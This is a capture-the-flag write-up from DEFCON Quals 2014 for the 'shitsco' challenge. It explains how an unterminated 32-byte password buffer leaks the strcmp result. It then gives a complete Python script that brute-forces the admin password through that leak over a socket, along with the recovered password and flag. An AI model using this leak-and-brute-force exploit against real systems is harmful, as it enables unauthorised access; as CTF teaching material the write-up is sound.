choppers

DEFCON Quals 2014: shitsco

2014-05-21 00:00:00

Analysis

$ file shitsco
shitsco: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x8657c9bdf925b4864b09ce277be0f4d52dae33a6, stripped
$ execstack shitsco
- shitsco

shitsco is like the Cisco IOS command line interface. You have to use the enable command to get increase your access level. The higher access allows you to run privileged commands like flag that prints the flag file from the disk.

The password for the enable command is initialized from disk, so it is not recoverable from the binary alone.

$ ./shitsco

 oooooooo8 oooo        o88    o8
888         888ooooo   oooo o888oo  oooooooo8    ooooooo     ooooooo
 888oooooo  888   888   888  888   888ooooooo  888     888 888     888
        888 888   888   888  888           888 888         888     888
o88oooo888 o888o o888o o888o  888o 88oooooo88    88ooo888    88ooo88

Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ ?
==========Available Commands==========
|enable                               |
|ping                                 |
|tracert                              |
|?                                    |
|shell                                |
|set                                  |
|show                                 |
|credits                              |
|quit                                 |
======================================
Type ? followed by a command for more detailed information
$ ? enable
enable: Enables administrator access, with the correct password.
$ enable
Please enter a password: badtouch
Nope.  The password isn't badtouch???????
$ enable badtouch
Nope.  The password isn't badtouch
$ ? flag
flag: Prints the flag to the console.
$ flag

flag: Invalid command
$

Vulnerability

By using the enable command with out any command line arguments, shitsco will prompted for a password. The password is read into a 32-byte character array that is not null-terminated. If the password is wrong, shitsco prints it back to you with any extra trailing non-zero bytes. Looking at the stack frame, the variable stores directly after the 32-byte array, is an integer that stored the result of the strcmp(). If all 32 bytes of the provided password are use, shitsco will leak information about the comparison.

Stack Frame of procedure starting at 0x08049230:
+----------------------------------+--------------+--------------+
|  char read_buff[32];             | int compare; |  int canary; |
+----------------------------------+--------------+--------------+

Exploit

The whole password can be leaked one character at a time by finding the point at which the supplied password becomes greater lexicographically than the real password.

Example execution of the algorithm:

Password:                             Result:
" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"      1
"!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"      1
""~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"      1
"#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"      1
....
"a~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"      1
"b~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"     -1     ; First character must be 'b'
"b ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"      1
"b!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"      1
....
"bq~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"      1
"br~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"     -1     ; Second character must be 'r'
....

shit.py:

#!/usr/bin/python

import struct
import socket


TARGET = ("shitsco_c8b1aa31679e945ee64bde1bdb19d035.2014.shallweplayaga.me", 31337)

def recv_until(s, needle):
    recv_buff = ""
    while recv_buff.find(needle) == -1:
        in_byte = s.recv(1)
        if len(in_byte) == 0:
            return recv_buff
        recv_buff += in_byte
    return recv_buff


def test_string(s, password):
    s.sendall("enable\n")
    recv_until(s, "Please enter a password:")
    s.sendall(password.ljust(32, "~"))
    b = recv_until(s, "\n$")

    start_i = len(" Nope.  The password isn't ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
    stop_i = b.find("\n$")
    compare_str = b[start_i:stop_i].ljust(4, "\x00")
    compare_value = struct.unpack("i", compare_str)[0]

    #print password, compare_value

    if compare_value < 0:
        return True
    return False




charspace = []
for i in xrange(32, 127):
    charspace += [chr(i)]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(TARGET)
recv_until(s, "\n$")

password = ""
for i in xrange(1, 32):
    for k in charspace:
        if test_string(s, password + k):
            password += k
            break
s.close()

print "Password:", repr(password.rstrip())


"""
$ ./shit.py
Password: 'bruT3m3hard3rb4by'
$ ./connect.sh

 oooooooo8 oooo        o88    o8
888         888ooooo   oooo o888oo  oooooooo8    ooooooo     ooooooo
 888oooooo  888   888   888  888   888ooooooo  888     888 888     888
        888 888   888   888  888           888 888         888     888
o88oooo888 o888o o888o o888o  888o 88oooooo88    88ooo888    88ooo88

Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ enable bruT3m3hard3rb4by
Authentication Successful
# flag
The flag is: Dinosaur vaginas
#
"""